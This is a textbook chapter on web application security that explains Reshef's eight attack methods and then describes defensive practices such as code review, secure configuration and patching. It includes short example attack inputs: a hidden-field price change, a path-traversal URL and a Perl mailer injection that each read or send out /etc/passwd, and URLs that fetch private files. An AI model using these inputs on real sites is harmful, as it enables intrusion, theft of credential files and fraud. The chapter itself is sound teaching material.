Chapter 5: Securing Web Applications

Most corporations today use the World Wide Web as a primary method of publishing information. It facilitates their ability to provide better customer support, enables a high degree of interaction with Internet users, and helps establish an e-commerce presence. This presence is not without peril, however. Having "opened the kimono" to a global customer audience presents many security challenges. It is imperative that proper security measures be taken when operating a public Web site. Many users among the global customer audience are unfriendly and have agendas that are counterproductive to the successful operation of the organization's e-commerce site. Some members of this global audience are outright criminals, and their intent is to find vulnerability in any entity that can be exploited for their personal agenda or gain.

Failure to implement proper security measures will leave an organization vulnerable to many security threats. Leaving a Web site open to compromise allows hackers to use that compromised site as a portal for intrusions into an organization's internal networks to illegally gain access to private, proprietary information. An organization can face huge business losses or be subjected to severe legal action if an intruder successfully violates the confidentiality of customer data.

5.1 Applications Development Security

This section helps the reader understand the basic security structures and controls that are incorporated into systems and applications. It will try to show how security controls are structured and used in the software development process and will present basic concepts that are used to ensure data confidentiality, integrity, and availability during the applications development process. At the most basic level, several high-level requirements are placed on most software development efforts, including the following:

• Portability

• Interoperability

• Transparency

• Robustness of security

• Extensibility

Portability refers to the development of source code so that it is easily transported between different systems. Interoperability enables information sharing to occur between different vendor systems. Transparency allows system users to operate with or on resources that exist across different vendor systems without regard to the system configuration. Robustness of security requires careful use of authorization and authentication services as an integral part of application usage. Generally , this also requires authentication to occur before usage is allowed. Extensibility provides users with the ability to manage resources across different vendor systems and is a byproduct of interoperability and transparency.

5.1.1 Application-Based Attacks

Hackers use many methods to either leverage or circumvent applications software for nefarious purposes. They may create virus packages, which are programs that search for other ( specifically named) programs on a user system and, once found, a virus infects them by embedding a copy of itself in place of the other module. When an application attempts to make a procedure call to the replaced module, the virus is activated and can harbor malicious code used to accomplish destructive acts or simply display a message. Over time, virus modules have tended to become increasingly more dangerous.

Sometimes, programmers write a Trojan horse package. This is most often some useful program or utility that contains hidden code designed to exploit the authorization process without the user even knowing about it. Hackers often employ logic bombs to gain access through an application. This is done by surreptitiously inserting unauthorized code into a program, causing that application to perform some activity that would compromise the security of the system when specified conditions are met. Finally, there are worms, programs that propagate themselves over a network in a self-replicating manner.

5.1.2 Web-Based Attacks

In an excellent white paper about Internet Application Security [1], Eran Reshef discussed eight methods of attacking a site. Hackers will (and do) attempt to use certain common vulnerabilities in the Web application or the Web server to perform unauthorized acts. These eight methods of attack include the following:

1. Hidden manipulation

2. Parameter tampering

3. Cookie poisoning

4. Stealth commanding

5. Forceful browsing

6. Backdoors and debugging options

7. Configuration subversion

8. Vendor-assisted hacking

We discuss each of the methods presented by Reshef in the following sections.

Hidden Manipulation

Web application developers sometimes use hidden fields to save information about a client session. This is done to avoid having to maintain databases on the server side. Web clients usually never see a hidden field, so they would never think of changing something they do not know about or cannot see. For someone who knows how to program Web pages, however, making this information visible is a trivial matter. Changing the data is just as simple. Reshef provides the following example:

Assume the price of a product is kept in a hidden field. Because the field is kept hidden, the back-end server processing page requests assumes this data can be trusted. However, a hacker can easily change it, and the invoked CGI will charge him/her for the new amount. Here is how it is done:

1. Open the html page within an HTML editor.

2. Locate the hidden field (e.g., "<type=hidden name =price value=99.95>").

3. Modify 99.95 to a different value ("<type=hidden name=price value=1.00>").

4. Save the html file locally and open it up with a browser.

5. Click the "buy" button to perform electronic shoplifting via hidden manipulation.

Parameter Tampering

Failure of an application to confirm the validity of Common Gateway Interface (CGI) parameters that are embedded in a hyperlink can allow someone to alter such parameters in order to breach site security. As an example, a search query using CGI that accepts a template parameter such as the following could be altered :

 Search.exe?template=searchresult.html&q=security 

By replacing the template parameter, a hacker can obtain access to any file he or she wants, such as /etc/passwd , by using the following parameters:

 Search.exe?template=/etc/passwd&q=security 

Cookie Poisoning

Quite a few Web applications use cookies in order to save information (e.g., user ID, timestamp) on the client's machine. A cookie is a file created by an Internet site to store information on your computer, such as your preferences when visiting that site. For example, if you inquire about an automobile at a dealership 's Web site, the site might create a cookie that contains your automobile option preferences. Cookies can also store personally identifiable information, information that can be used to identify or contact you, such as your name, e-mail address, home or work address, or telephone number; however, a Web site only has access to the personally identifiable information that you provide. For example, a Web site cannot determine your e-mail name unless you provide it. Also, a Web site cannot gain access to other information on your computer.

In most circumstances, once a cookie is saved on your computer, only the Web site that created the cookie can read it; however, there are ways around this application safeguard. For example, when a user logs into certain sites, a login CGI script validates his user name and password and sets a cookie with a numerical identifier. When this user checks his preferences later, another CGI script, such as one to check user preferences, will retrieve the cookie and display the user information. Because cookies are not always encrypted, a hacker can modify them by directly modifying the cookie file stored on the user machine and subsequently fooling the application when it reads the modified cookie file and treats it as a legitimate cookie.

Stealth Commanding

Hackers often plant Trojan horses in Web form submissions and run malicious code on a Web server by taking advantage of weaknesses inherent in the command execution that occurs on a Web server when it responds to such commands as eval and system (Perl script commands), use of server-side includes, and SQL queries, to name a few examples. Take a Web site that prompts the user to provide an e-mail address in order to receive information. The user fills in a form and clicks a send button, initiating a process that causes the Web site to e-mail data to the address provided. On the Web server, the CGI script that was used for this purpose was written in Perl. That statement most likely resembled the following:

 open (MAIL, "$mailprog $recipient") 

By simply changing the $recipient field to the following statement:

 "[e-mail]</etc/passwd" 

The hacker has directed the system mailer called with the $mailprog parameter to send back the master password file that is stored on the attacked system to an e-mail address of <[e-mail].> System shell commands can also be executed using this process with devastating consequences.

Forceful Browsing

Web servers will send any file back to a user, as long as the user knows the filename and the file is not otherwise protected. Therefore, a hacker may exploit this security hole and "jump" directly to unauthorized pages. For example, a Web registration page had an HTML comment that mentioned a certain customer file named ~private/customer.txt . Typing the URL http://thatwebsitename.com/~private/customer.txt sent back all of the customer information. Appending "~" or ".bak" or ".old" to CGI names may send back an older version of the CGI source code. As another example, a hacker can simply obtain source by using the URL http://thatwebsitename.com/cgi-bin/admin.jsp~, which will return the admin.jsp source code.

Backdoors and Debug Options

Sometimes, software developers write their code with a backdoor. This is a hidden or unknown access point that allow someone who knows about it to bypass security features of the application. Remember, this problem is created by "trusted" developers and is not generally known to management at the time of a product release. Many applications contain backdoor code that was left for debugging purposes. Parameter tampering often allows the hacker unrestricted entry through this backdoor with no password required.

Configuration Subversion

Misconfiguring Web servers and application servers is one of the most common mistakes made by administrators. Proper configuration is an important preventive security measure for administrators to learn. The most common misconfiguration is one that permits directory browsing. Hackers can utilize this feature in order to browse the application's directories and discover information about a site that would otherwise be unavailable. The intent is to glean information to find additional vulnerabilities that allow a hacker to further penetrate site defenses.

Vendor-Assisted Hacking

Reshef refers to the situation where vendor product vulnerabilities are published very quickly over the Web as a means of hacker assistance because the publication announces the weakness to hackers. System administrators are often swamped with work and do not always install the latest patches in a timely manner. Because they see such updates as low-priority issues, it is possible for an enterprising hacker to exploit those vulnerable products.

5.1.3 Standardization of Application Security Features

Efforts at standardizing application-based security features and services strive to specify algorithms, formats, protocols, configurations, and so on. The reasoning goes that if there is standardization, the common security services can protect against the universe of threats with maximum interoperability. The Information Assurance Technical Framework (IATF) emphasizes the importance of using open standards and commercial off-the-shelf (COTS) products [2]. More and more commercial implementers are generating and using open standards that allow multiple independent implementations to interoperate . The term standard is meant to include any standard or technology initiative that could reasonably become a formalized standard from a recognized national, international, or federal body. Aside from standardization efforts, application security is enforced using manual techniques. Reshef refers to this process as manual application security. This process requires a methodical development discipline to be enforced and comes at a cost to the organization that must be weighed against the benefits of the secured application. Specific examples of such standards and protocols cited by the IATF include the following:

Application layer

• Secure Hypertext Transfer Protocol (S-HTTP)

• Common Object Request Broker Architecture (CORBA)

• W3C XML Transfer Protocol

• Secure File Transfer Protocol (S-FTP)

• Secure Electronic Transactions (SET)

• Message Security Protocol (MSP)

• Secure/Multipurpose Internet Mail Extensions (S/MIME)

Transport and network layer

• Transport Layer Security (TLS)

• Secure Sockets Layer (SSL v3.0)

• Secure Shell (SSH)

• Internet Protocol Layer Security (IPSec)

Data link layer

• Point-to-Point Protocol (PPP)

• Serial Line Internet Protocol (SLIP) security management infrastructure

• Internet Engineering Task Force (IETF) Public Key Infrastructure (PKI)

• IETF Simple Public Key Infrastructure (SPKI)

• IETF Domain Name System Security (DNSSEC)

5.1.4 Techniques to Enforce Application Security

Developers can employ several techniques that will "tighten up" the security of Web-based applications. Starting in the design phase, developers can begin to take steps to ensure that a more secure application is employed. This includes thinking about how the application will be implemented and configured, how (and who) will be testing the application, and how bugs and fixes will be patched.

Secure Code Design

Designing application functionality with security in mind leads to a more complex application and extends development time. In addition, designing a secured application requires specific expertise. A more complex design also complicates implementation. Implementing a secured application requires the use of defensive coding (i.e., embedding checks and balances ), to make sure an implementation error will not cause a security hazard . Some application servers can provide limited assistance in this area.

Code Reviews

If you happen to use a public-domain code in your application, then a code review to ensure its security properties is needed. If you are really into security, then backdoors left by your own programmers will be a real issue for you. The only way to eradicate those backdoors is to have a third-party advisor review all of your code.

Secure Configuration

Careful attention to detail is crucial in this stage because the configuration of each component should be checked and verified to disallow any exploitation. This includes Web servers, application servers, public-domain CGIs, and, of course, internally developed code. For example, the site administrators should configure vendor software to turn off any unsafe features, set correct permissions on every file that is accessible by the Web servers, remove debug and Quality Assurance (QA) features from the production environment, and remove default examples. When using hardened webservers, secure configuration is easier to achieve than with normal Web servers.

Testing for Loopholes

Other than functionality testing, an entirely new category of stress testing needs to be implemented. The application should be placed in hostile environments and attacked with various tests and inputs designed to expose its loopholes. Additionally, in many of today's development environments, with development timelines often pushing code teams to the limits of their abilities , a preponderance of bad code is written and released. This code can contain security holes that need to be caught before release. Although unintentional, the effects of such poorly written code modules are huge loop-holes in the security of an application.

Constant Patching

Every time a product vendor or a software developer announces a fix for a vulnerability that has been found in their product, the patch should usually be applied promptly to all affected machines on the entire site. For administrators, however, it is very difficult to keep pace with the rate of change for the fixes, especially for large, complex sites. With thousands of vendor products on the market, and with each vendor releasing product updates and patches so frequently, the number of patches and upgrades that are likely to be applied in a single organization can number in the hundreds or even more! In large organizations, it often takes dedicated staff to simply track these changes and schedule their implementation.

In highly configured production environments, the application of patches is generally applied to "sandbox" or test configurations and fully tested before ever being moved to a production environment. This precautionary process is intended to protect the production environment from any potentially adverse effects of patch installation. The complexity of this process can vary from vendor to vendor, but many organizations have adopted a "take no chances " philosophy toward patch management. The decision about how and when to patch is unique to each organization, but the important point here is that an organization should take an active management role in administration of patches and upgrades.